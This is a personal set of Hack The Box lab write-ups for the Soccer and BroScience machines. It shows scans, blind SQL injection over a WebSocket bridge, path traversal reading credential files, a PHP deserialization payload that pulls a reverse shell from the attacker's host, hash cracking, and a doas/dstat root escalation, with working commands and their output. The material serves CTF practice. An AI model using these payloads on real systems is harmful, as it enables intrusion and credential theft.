Hack the Box Machine Resources



** Notes and solution of Hack The Box machines **

The intention is to have a kind of guidance, specially for the commands and tools
used so it can be referenced qucik and easy.
To fully understand some of this topics, require documentation, reading and practice.

This Game is about get the flag.txt from the user and from the root.

I assume anyone looking at this knows what is about and understand the concepts and code of conduct.


SOCCER


image

 Nmap 7.93 scan initiated Sun Jan  8 18:38:28 2023 as: nmap -v -sV -A -Pn -oN scanSimple 10.10.11.194
Nmap scan report for 10.10.11.194
Host is up (0.078s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
|   256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_  256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open  xmltec-xmlmail?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 139
|     Date: Sun, 08 Jan 2023 17:38:50 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot GET /</pre>
|     </body>
|     </html>
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Sun, 08 Jan 2023 17:38:50 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.93%I=7%D=1/8%Time=63BAFFA4%P=x86_64-pc-linux-gnu%r(inf
SF:ormix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\
SF:n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x2
SF:0close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r\n
SF:Content-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-Opt
SF:ions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nCon
SF:tent-Length:\x20139\r\nDate:\x20Sun,\x2008\x20Jan\x202023\x2017:38:50\x
SF:20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=
SF:\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</h
SF:ead>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(HTT
SF:POptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Poli
SF:cy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nC
SF:ontent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r
SF:\nDate:\x20Sun,\x2008\x20Jan\x202023\x2017:38:50\x20GMT\r\nConnection:\
SF:x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<met
SF:a\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Ca
SF:nnot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"HTT
SF:P/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-sr
SF:c\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x20t
SF:ext/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Sun,\x
SF:2008\x20Jan\x202023\x2017:38:50\x20GMT\r\nConnection:\x20close\r\n\r\n<
SF:!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\"ut
SF:f-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS\x
SF:20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\
SF:x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F,
SF:"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r
SF:(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnecti
SF:on:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x2
SF:0Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jan  8 18:38:57 2023 -- 1 IP address (1 host up) scanned in 29.28 seconds







❯ wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 http://soccer.htb/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://soccer.htb/FUZZ
Total requests: 220561

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                       
=====================================================================

000000001:   200        147 L    526 W      6917 Ch     "# directory-list-2.3-medium.txt"             
000000011:   200        147 L    526 W      6917 Ch     "# Priority ordered case sensative list, where
                                                         entries were found"                          
000000009:   200        147 L    526 W      6917 Ch     "# Suite 300, San Francisco, California, 94105
                                                        , USA."                                       
000000007:   200        147 L    526 W      6917 Ch     "# license, visit http://creativecommons.org/l
                                                        icenses/by-sa/3.0/"                           
000000013:   200        147 L    526 W      6917 Ch     "#"                                           
000000010:   200        147 L    526 W      6917 Ch     "#"                                           
000000003:   200        147 L    526 W      6917 Ch     "# Copyright 2007 James Fisher"               
000000012:   200        147 L    526 W      6917 Ch     "# on atleast 2 different hosts"              
000000014:   200        147 L    526 W      6917 Ch     "http://soccer.htb/"                          
000000006:   200        147 L    526 W      6917 Ch     "# Attribution-Share Alike 3.0 License. To vie
                                                        w a copy of this"                             
000000004:   200        147 L    526 W      6917 Ch     "#"                                           
000000005:   200        147 L    526 W      6917 Ch     "# This work is licensed under the Creative Co
                                                        mmons"                                        
000000008:   200        147 L    526 W      6917 Ch     "# or send a letter to Creative Commons, 171 S
                                                        econd Street,"                                
000000002:   200        147 L    526 W      6917 Ch     "#"                                           
000000064:   301        7 L      12 W       178 Ch      "tiny"     




image

image

image


(remote) www-data@soccer:/$ cat /etc/hosts                                                            
127.0.0.1	localhost	soccer	soccer.htb	soc-player.soccer.htb

127.0.1.1	ubuntu-focal	ubuntu-focal

(remote) www-data@soccer:/$    

image

the source code reveals this

            <div class="price pt-3 pl-3">
                    <span class="mb-2">Price</span>
                        <h5>Free</h5>
                </div>
            </div>
            <p>** Please don't forget your ticket number. **</p>
        </div>
    </div>
    <script>
        var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
        window.onload = function () {
        
        var btn = document.getElementById('btn');
        var input = document.getElementById('id');
        
        ws.onopen = function (e) {
            console.log('connected to the server')
        }
        input.addEventListener('keypress', (e) => {
            keyOne(e)
      

FOLLOW: https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html


from http.server import SimpleHTTPRequestHandler
   2    from socketserver import TCPServer
   3    from urllib.parse import unquote, urlparse
   4    from websocket import create_connection
   5    
   6    #ws_server = "ws://localhost:8156/ws"**CHANGE**
   7    ws_server = "ws://soc-player.soccer.htb:9091"
   8    
   9    def send_ws(payload):
  10        ws = create_connection(ws_server)
  11        # If the server returns a response on connect, use below line   
  12        #resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
  13          
  14        # For our case, format the payload in JSON
  15        message = unquote(payload).replace('"','\'') # replacing " with ' to avoi
        d breaking JSON structure
         # data = '{"employeeID":"%s"}' % message **CHANGE**
  16      data = '{"id":"%s"}' % message
  17    
  18        ws.send(data)
  19        resp = ws.recv()
  20        ws.close()
  21    
  22        if resp:
  23            return resp
  24        else:
  25            return ''

terminal1

❯ python3 sqliserver.py

terminal2

❯ sqlmap -u "http://localhost:8081/?id=1" -p "id" --dbs

image

❯ sqlmap -u "http://127.0.0.1:8081/?id=1" --batch -D soccer_db -tables
[20:20:54] [INFO] retrieved: 
[20:21:05] [INFO] adjusting time delay to 2 seconds due to good response times
accounts
Database: soccer_db
[1 table]
+----------+
| accounts |
+----------+
´´´
``` bash
❯ sqlmap -u "http://127.0.0.1:8081/?id=1" --batch -D soccer_db -T accounts -columns
[20:28:54] [INFO] retrieved: 
[20:29:05] [INFO] adjusting time delay to 2 seconds due to good response times
email
[20:29:41] [INFO] retrieved: varchar(40)
[20:31:25] [INFO] retrieved: id
[20:31:44] [INFO] retrieved: int
[20:32:16] [INFO] retrieved: password
[20:33:34] [INFO] retrieved: varchar(40)
[20:35:16] [INFO] retrieved: username
[20:36:24] [INFO] retrieved: varchar(40)
Database: soccer_db
Table: accounts
[4 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| email    | varchar(40) |
| id       | int         |
| password | varchar(40) |
| username | varchar(40) |
+----------+-------------+

❯ sqlmap -u "http://127.0.0.1:8081/?id=1" --batch -D soccer_db -T accounts -C username,password -dump
[20:42:01] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
[20:42:29] [INFO] adjusting time delay to 3 seconds due to good response times
PlayerOftheMatch2022
[20:46:15] [INFO] retrieved: player
Database: soccer_db
Table: accounts
[1 entry]
+----------+----------------------+
| username | password             |
+----------+----------------------+
| player   | PlayerOftheMatch2022 |
+----------+----------------------+
❯ ssh player@10.10.11.194
The authenticity of host '10.10.11.194 (10.10.11.194)' can't be established.
ED25519 key fingerprint is SHA256:PxRZkGxbqpmtATcgie2b7E8Sj3pw1L5jMEqe77Ob3FE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.194' (ED25519) to the list of known hosts.
player@10.10.11.194's password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Jan 11 19:48:38 UTC 2023

  System load:           0.0
  Usage of /:            70.3% of 3.84GB
  Memory usage:          26%
  Swap usage:            0%
  Processes:             240
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.194
  IPv6 address for eth0: dead:beef::250:56ff:feb9:457a

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Jan 11 18:10:14 2023 from 10.10.14.82
-bash-5.0$ id
uid=1001(player) gid=1001(player) groups=1001(player)
-bash-5.0$ pwd
/home/player
-bash-5.0$ ls -la
total 44
drwxr-xr-x 6 player player 4096 Jan 11 18:19 .
drwxr-xr-x 3 root   root   4096 Nov 17 09:25 ..
lrwxrwxrwx 1 root   root      9 Nov 17 09:02 .bash_history -> /dev/null
-rw-r--r-- 1 player player  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 player player 3771 Feb 25  2020 .bashrc
drwx------ 2 player player 4096 Nov 17 09:00 .cache
drwx------ 3 player player 4096 Jan 11 17:48 .gnupg
drwxrwxr-x 3 player player 4096 Jan 11 18:10 .local
-rw-r--r-- 1 player player  807 Feb 25  2020 .profile
-rw------- 1 player player 3783 Jan 11 18:19 .viminfo
drwx------ 3 player player 4096 Jan 11 17:45 snap
-rw-r----- 1 root   player   33 Jan 11 17:20 user.txt
-bash-5.0$ cat user.txt 
d4********************c2
-bash-5.0$ 

Looking for binaries suid we found this doas?

-bash-5.0$ find / -perm -4000 2>/dev/null
**/usr/local/bin/doas**
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/bin/umount
/usr/bin/fusermount
...

-bash-5.0$ 

We end up finding

bash-5.0$  doas -u root /usr/bin/dstat
You did not select any stats, using -cdngy by default.
Color support is disabled as curses does not find terminal "xterm-kitty".
--total-cpu-usage-- -dsk/total- -net/total- ---paging-- ---system--
usr sys idl wai stl| read  writ| recv  send|  in   out | int   csw 
  2   1  97   0   0|  56k   17k|   0     0 |   0     0 | 349   577 
  0   0 100   0   0|   0     0 | 198B  310B|   0     0 | 264   495 
  0   0  99   0   0|   0     0 | 272B  325B|   0     0 | 246   489 
  1   0  99   0   0|   0     0 |  66B  174B|   0     0 | 228   458 
  1   0  99   0   0|   0     0 | 254B  348B|   0     0 | 267   490 
  0   1  99   0   0|   0    40k|  66B  174B|   0     0 | 242   462 
  0   0  99   0   0|   0     0 |  66B  174B|   0     0 | 230   456 
  1   0  99   0   0|   0     0 |  66B  174B|   0     0 | 246   469 
  0   1  99   0   0|   0     0 |  66B  174B|   0     0 | 233   458 
  0   1  99   1   0|   0   604k|  66B  174B|   0     0 | 328   520

bash-5.0$ 

bash-5.0$ echo 'import os;os.system("chmod u+s /bin/bash")' > dstat_privesc.py
bash-5.0$ ls
dstat_privesc.py  snap	user.txt
bash-5.0$ doas -u root /usr/bin/dstat --privesc &>/dev/null
bash-5.0$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18  2022 /bin/bash
bash-5.0$ bash -p
bash-5.0# whoami
root
bash-5.0# pwd
/root
bash-5.0# ls
app  root.txt  run.sql	snap
bash-5.0# cat root.txt 
be**************************b94

And we’ve got the flag!


BROSCIENCE


image




# Nmap 7.93 scan initiated Thu Jan 12 19:10:35 2023 as: nmap -v -sV -A -Pn -oN scanSimple 10.10.11.195
Nmap scan report for 10.10.11.195
Host is up (0.091s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 df17c6bab18222d91db5ebff5d3d2cb7 (RSA)
|   256 3f8a56f8958faeafe3ae7eb880f679d2 (ECDSA)
|_  256 3c6575274ae2ef9391374cfdd9d46341 (ED25519)
80/tcp  open  http     Apache httpd 2.4.54
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://broscience.htb/
|_http-server-header: Apache/2.4.54 (Debian)
443/tcp open  ssl/http Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Issuer: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-07-14T19:48:36
| Not valid after:  2023-07-14T19:48:36
| MD5:   5328ddd62f3429d11d26ae8a68d86e0c
|_SHA-1: 20568d0d9e4109cde5a22021fe3f349c40d8d75b
| tls-alpn: 
|_  http/1.1
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_ssl-date: TLS randomness does not represent time
|_http-title: BroScience : Home
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jan 12 19:10:57 2023 -- 1 IP address (1 host up) scanned in 22.06 seconds

❯ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u "https://broscience.htb" -k
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://broscience.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Timeout:                 10s
===============================================================
2023/01/16 16:54:07 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 319] [--> https://broscience.htb/images/]
/includes             (Status: 301) [Size: 321] [--> https://broscience.htb/includes/]
/manual               (Status: 301) [Size: 319] [--> https://broscience.htb/manual/]
/javascript           (Status: 301) [Size: 323] [--> https://broscience.htb/javascript/]
/styles               (Status: 301) [Size: 319] [--> https://broscience.htb/styles/]

image

❯ curl -k 'https://broscience.htb/includes/img.php?path=..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
tss:x:103:109:TPM software stack,,,:/var/lib/tpm:/bin/false
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:105:111:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:106:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:107:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
sshd:x:108:65534::/run/sshd:/usr/sbin/nologin
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi:x:110:116:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
pulse:x:112:118:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
saned:x:113:121::/var/lib/saned:/usr/sbin/nologin
colord:x:114:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:115:123::/var/lib/geoclue:/usr/sbin/nologin
Debian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false

Being able to do the above we just go for what we saw on the web

❯ curl -k 'https://broscience.htb/includes/img.php?path=..%252F..%252F..%252F..%252F..%252F..%252F..%252Fvar%252Fwww%252Fhtml%252Fincludes%252Fdb_connect.php'
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";

$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");

if (!$db_conn) {
    die("<b>Error</b>: Unable to connect to database");
}
?>%                                                                                           
     ~/HTB/BroScience/content     

❯ curl -k 'https://broscience.htb/includes/img.php?path=..%252F..%252F..%252F..%252F..%252F..%252F..%252Fvar%252Fwww%252Fhtml%252Fincludes%252Futils.php'
<?php
function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(time());
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

// Source: https://stackoverflow.com/a/4420773 (Slightly adapted)
function rel_time($from, $to = null) {
    $to = (($to === null) ? (time()) : ($to));
    $to = ((is_int($to)) ? ($to) : (strtotime($to)));
    $from = ((is_int($from)) ? ($from) : (strtotime($from)));

    $units = array
    (
        "year"   => 29030400, // seconds in a year   (12 months)
        "month"  => 2419200,  // seconds in a month  (4 weeks)
        "week"   => 604800,   // seconds in a week   (7 days)
        "day"    => 86400,    // seconds in a day    (24 hours)
        "hour"   => 3600,     // seconds in an hour  (60 minutes)
        "minute" => 60,       // seconds in a minute (60 seconds)
        "second" => 1         // 1 second
    );

    $diff = abs($from - $to);

    if ($diff < 1) {
        return "Just now";
    }

    $suffix = (($from > $to) ? ("from now") : ("ago"));

    $unitCount = 0;
    $output = "";

    foreach($units as $unit => $mult)
        if($diff >= $mult && $unitCount < 1) {
            $unitCount += 1;
            // $and = (($mult != 1) ? ("") : ("and "));
            $and = "";
            $output .= ", ".$and.intval($diff / $mult)." ".$unit.((intval($diff / $mult) == 1) ? ("") : ("s"));
            $diff -= intval($diff / $mult) * $mult;
        }

    $output .= " ".$suffix;
    $output = substr($output, strlen(", "));

    return $output;
}

class UserPrefs {
    public $theme;

    public function __construct($theme = "light") {
                $this->theme = $theme;
    }
}

function get_theme() {
    if (isset($_SESSION['id'])) {
        if (!isset($_COOKIE['user-prefs'])) {
            $up_cookie = base64_encode(serialize(new UserPrefs()));
            setcookie('user-prefs', $up_cookie);
        } else {
            $up_cookie = $_COOKIE['user-prefs'];
        }
        $up = unserialize(base64_decode($up_cookie));
        return $up->theme;
    } else {
        return "light";
    }
}

function get_theme_class($theme = null) {
    if (!isset($theme)) {
        $theme = get_theme();
    }
    if (strcmp($theme, "light")) {
        return "uk-light";
    } else {
        return "uk-dark";
    }
}

function set_theme($val) {
    if (isset($_SESSION['id'])) {
        setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));
    }
}

class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}
?>%  
 // TODO: Send the activation link to email
$activation_link = "https://broscience.htb/activate.php?code={8bFo7PVdZh5yZajVcmvLdEB3aEYY4xV4}}";

image


class UserPrefs {
    public $theme;

    public function __construct($theme = "light") {
                $this->theme = $theme;
    }
}

function get_theme() {
    if (isset($_SESSION['id'])) {
        if (!isset($_COOKIE['user-prefs'])) {
            $up_cookie = base64_encode(serialize(new UserPrefs()));
            setcookie('user-prefs', $up_cookie);
        } else {
            $up_cookie = $_COOKIE['user-prefs'];
        }
        $up = unserialize(base64_decode($up_cookie));
        # Here the system unserialize the cookie, we can modify the cookie
        return $up->theme;
    } else {
        return "light";
    }
}

 .... 
#Following the code we see the frwite function
#In some server configuration file_get_contents let's us load a remote file

 class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

The test will be _Serialize AvatarInterface Object with ImgPath = /var/www/html/something.php file_get_content(‘http://10.10.14.97:8000/reverse-shell.php’)

 <?php

class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath; 

    public function __wakeup() { #__wakeup is called when an obj is unserialized
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

$obj = new AvatarInterface();
$obj->tmp = 'http://10.10.15.97:8000/reverse-shell.php';
$obj->imgPath = '/var/www/html/something.php';

echo base64_encode(serialize($obj));

?>
❯ php -f test.php
TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czo0MToiaHR0cDovLzEwLjEwLjE1Ljk3OjgwMDAvcmV2ZXJzZS1zaGVsbC5waHAiO3M6NzoiaW1nUGF0aCI7czoyNzoiL3Zhci93d3cvaHRtbC9zb21ldGhpbmcucGhwIjt9%
python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.195 - - [17/Jan/2023 17:53:47] "GET /reverse-shell.php HTTP/1.0" 200 -```

❯ ~/.local/bin/pwncat-cs 0.0.0.0 1234
/home/mac/.local/lib/python3.10/site-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated
  'class': algorithms.Blowfish,
[17:53:39] Welcome to pwncat 🐈!                                                           __main__.py:164
[17:54:44] received connection from 10.10.11.195:38298                                          bind.py:84
[17:54:45] 0.0.0.0:1234: upgrading from /usr/bin/dash to /usr/bin/bash                      manager.py:957
[17:54:56] 10.10.11.195:38298: registered new host w/ db                                    manager.py:957
(local) pwncat$                                                                                           
(remote) www-data@broscience:/$ 
REMEMBER THIS:
❯ curl -k 'https://broscience.htb/includes/img.php?path=..%252F..%252F..%252F..%252F..%252F..%252F..%252Fvar%252Fwww%252Fhtml%252Fincludes%252Fdb_connect.php'
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";

(remote) www-data@broscience:/bin$ ls | grep *sql      
psql
(remote) www-data@broscience:/bin$                                                   psql -h localhost -d broscience -U dbuser -W
Password: 
psql (13.9 (Debian 13.9-0+deb11u1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

broscience=> select * from users;
WARNING: terminal is not fully functional
-  (press RETURN) id |   username    |             password             |            email             |         activation
_code          | is_activated | is_admin |         date_created          
----+---------------+----------------------------------+------------------------------+-------------------
---------------+--------------+----------+-------------------------------
  1 | administrator | 15657792073e8a843d4f91fc403454e1 | administrator@broscience.htb | OjYUyL9R4NpM9LOFP0
T4Q4NUQ9PNpLHf | t            | t        | 2019-03-07 02:02:22.226763-05
  2 | bill          | 13edad4932da9dbb57d9cd15b66ed104 | bill@broscience.htb          | WLHPyj7NDRx10BYHRJ
PPgnRAYlMPTkp4 | t            | f        | 2019-05-07 03:34:44.127644-04
  3 | michael       | bd3dad50e2d578ecba87d5fa15ca5f85 | michael@broscience.htb       | zgXkcmKip9J5MwJjt8
SZt5datKVri9n3 | t            | f        | 2020-10-01 04:12:34.732872-04
  4 | john          | a7eed23a7be6fe0d765197b1027453fe | john@broscience.htb          | oGKsaSbjocXb3jwmnx
5CmQLEjwZwESt6 | t            | f        | 2021-09-21 11:45:53.118482-04
  5 | dmytro        | 5d15340bded5b9395d5d14b9c21bc82b | dmytro@broscience.htb        | 43p9iHX6cWjr9YhaUN
tWxEBNtpneNMYm | t            | f        | 2021-08-13 10:34:36.226763-04
  6 | abc           | 09f7446e14f9fe357e16c5f43a78422e | abc@abc.com                  | j7X4K073w1xdb8mHWD
lqZOVZrkNEYfGL | f            | f        | 2023-01-17 12:11:30.81959-05
(6 rows)
res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));

Remember from Enumeration 
md5($db_salt . $_POST['password']) == md5(NaCl . $_POST['password'])

bill  13edad4932da9dbb57d9cd15b66ed104

❯ hashcat -m 20 -a 0 billHash.txt /usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt --show
13edad4932da9dbb57d9cd15b66ed104:NaCl:iluvhorsesandgym

(remote) www-data@broscience:/$ su bill                                                                  
Password: 
bill@broscience:/$ pwd
bill@broscience:~$ pwd
/home/bill
bill@broscience:~$ cat user.txt 
faf3ae31439bd21c1b10bae79e573131
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /home/bill/Certs/broscience.key -out /home/bill/Certs/broscience.crt -days 1
/home/bill/Certs/broscience.crt -days 1
Generating a RSA private key
...................++++
..........................................................++++
